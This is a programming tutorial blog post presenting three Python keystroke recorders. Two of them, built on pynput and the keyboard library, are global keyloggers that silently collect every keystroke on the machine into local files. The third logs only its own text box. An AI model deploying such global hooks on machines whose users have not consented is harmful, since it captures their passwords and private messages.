
Recording keyboard input has practical value in certain scenarios, such as user behavior analysis, data collection, or the development of auxiliary tools. This article will introduce three different Python implementation methods, each with detailed usage instructions and original code examples.
Method 1: Using the pynput Library (Recommended)
Usage Introduction
pynput is a library specifically designed for monitoring and controlling input devices, supporting cross-platform operation. By listening to keyboard events, it can accurately capture various key operations, including special function keys.
Code Example
from pynput.keyboard import Key, Listener
import threading
import time
class KeyboardRecorder:
def __init__(self, filename='keylog.txt'):
self.filename = filename
self.keys_buffer = []
self.is_recording = False
def key_to_string(self, key):
"""Convert key to a readable string"""
if hasattr(key, 'char') and key.char is not None:
return key.char
elif key == Key.space:
return ' '
elif key == Key.enter:
return '\n'
elif key == Key.tab:
return '\t'
else:
return f'[{key.name.upper()}]'
def on_press(self, key):
"""Handle key press event"""
if self.is_recording:
key_str = self.key_to_string(key)
self.keys_buffer.append(key_str)
# Save every 10 characters
if len(self.keys_buffer) >= 10:
self.save_to_file()
def on_release(self, key):
"""Handle key release event"""
if key == Key.f12: # Use F12 key to stop recording
self.stop_recording()
return False
def save_to_file(self):
"""Save buffer content to file"""
if self.keys_buffer:
with open(self.filename, 'a', encoding='utf-8') as f:
f.write(''.join(self.keys_buffer))
self.keys_buffer.clear()
def start_recording(self):
"""Start recording"""
self.is_recording = True
print("Keyboard recording has started, press F12 to stop...")
with Listener(on_press=self.on_press, on_release=self.on_release) as listener:
listener.join()
def stop_recording(self):
"""Stop recording"""
self.is_recording = False
self.save_to_file()
print("Keyboard recording has stopped")
# Usage Example
if __name__ == "__main__":
recorder = KeyboardRecorder('my_keystrokes.txt')
recorder.start_recording()
Method 2: Using the keyboard Library
Usage Introduction
The keyboard library provides a simpler API, suitable for quickly implementing basic keyboard recording functions. It supports real-time event capture and global hooks.
Code Example
import keyboard
import datetime
from threading import Event
class SimpleKeylogger:
def __init__(self, log_file='simple_log.txt'):
self.log_file = log_file
self.stop_event = Event()
self.recorded_keys = []
def callback(self, event):
"""Keyboard event callback function"""
timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
if event.event_type == 'down':
key_name = event.name
# Handle special keys
if len(key_name) > 1:
key_name = f'[{key_name.upper()}]'
log_entry = f"{timestamp} - {key_name}\n"
self.recorded_keys.append(log_entry)
# Write to file in real-time
with open(self.log_file, 'a', encoding='utf-8') as f:
f.write(log_entry)
def start(self):
"""Start recording"""
print("Simple keylogger has started, press ESC to stop...")
# Set keyboard hook
keyboard.hook(self.callback)
# Wait for stop signal
keyboard.wait('esc')
self.stop()
def stop(self):
"""Stop recording"""
keyboard.unhook_all()
print("Recording has stopped, data saved in", self.log_file)
# Usage Example
if __name__ == "__main__":
logger = SimpleKeylogger()
logger.start()
Method 3: Using tkinter to Implement a GUI Keylogger
Usage Introduction
This method creates a simple GUI interface that records key presses when the user interacts with a specific text box. It is suitable for applications that require a visual interface.
Code Example
import tkinter as tk
from tkinter import messagebox
import datetime
class GUIKeylogger:
def __init__(self):
self.window = tk.Tk()
self.window.title("GUI Keylogger")
self.window.geometry("400x300")
self.record_file = "gui_keystrokes.log"
self.is_recording = False
self.start_time = None
self.setup_ui()
def setup_ui(self):
"""Set up user interface"""
# Title
title_label = tk.Label(self.window, text="GUI Keyboard Recording Demonstration",
font=("Arial", 16))
title_label.pack(pady=10)
# Recording status display
self.status_var = tk.StringVar()
self.status_var.set("Recording Status: Not Started")
status_label = tk.Label(self.window, textvariable=self.status_var,
font=("Arial", 12))
status_label.pack(pady=5)
# Input text box
self.text_box = tk.Text(self.window, height=8, width=40)
self.text_box.pack(pady=10)
self.text_box.bind('<KeyPress>', self.on_key_press)
# Control buttons
button_frame = tk.Frame(self.window)
button_frame.pack(pady=10)
start_btn = tk.Button(button_frame, text="Start Recording",
command=self.start_recording)
start_btn.pack(side=tk.LEFT, padx=5)
stop_btn = tk.Button(button_frame, text="Stop Recording",
command=self.stop_recording)
stop_btn.pack(side=tk.LEFT, padx=5)
clear_btn = tk.Button(button_frame, text="Clear Log",
command=self.clear_log)
clear_btn.pack(side=tk.LEFT, padx=5)
def on_key_press(self, event):
"""Handle key press event"""
if self.is_recording:
timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
key_data = f"{timestamp} - Key: {event.char if event.char else event.keysym}\n"
with open(self.record_file, 'a', encoding='utf-8') as f:
f.write(key_data)
def start_recording(self):
"""Start recording"""
self.is_recording = True
self.start_time = datetime.datetime.now()
self.status_var.set(f"Recording Status: In Progress (Started at: {self.start_time.strftime('%H:%M:%S')})")
messagebox.showinfo("Tip", "Keyboard recording has started")
def stop_recording(self):
"""Stop recording"""
if self.is_recording:
self.is_recording = False
duration = datetime.datetime.now() - self.start_time
self.status_var.set("Recording Status: Stopped")
messagebox.showinfo("Tip", f"Recording has stopped\nDuration: {duration.total_seconds():.1f} seconds")
def clear_log(self):
"""Clear log file"""
if messagebox.askyesno("Confirm", "Are you sure you want to clear the log file?"):
open(self.record_file, 'w').close()
messagebox.showinfo("Tip", "Log file has been cleared")
def run(self):
"""Run the application"""
self.window.mainloop()
# Usage Example
if __name__ == "__main__":
app = GUIKeylogger()
app.run()
Choose the appropriate method based on specific needs, and comply with relevant laws and ethical standards.
1. pynput MethodMost comprehensive functionality, suitable for professional applications;
2. keyboard MethodSimple and easy to use, suitable for quick prototyping;
3. GUI MethodProvides a visual interface, better user experience;
“Nothing else, just practice makes perfect!” Use it if you need it!If you find this article useful, feel free to like, share, bookmark, comment, and recommend❤!
——Join the Knowledge Community and learn with more people——
https://ima.qq.com/wiki/?shareId=f2628818f0874da17b71ffa0e5e8408114e7dbad46f1745bbd1cc1365277631c

https://ima.qq.com/wiki/?shareId=66042e013e5ccae8371b46359aa45b8714f435cc844ff0903e27a64e050b54b5
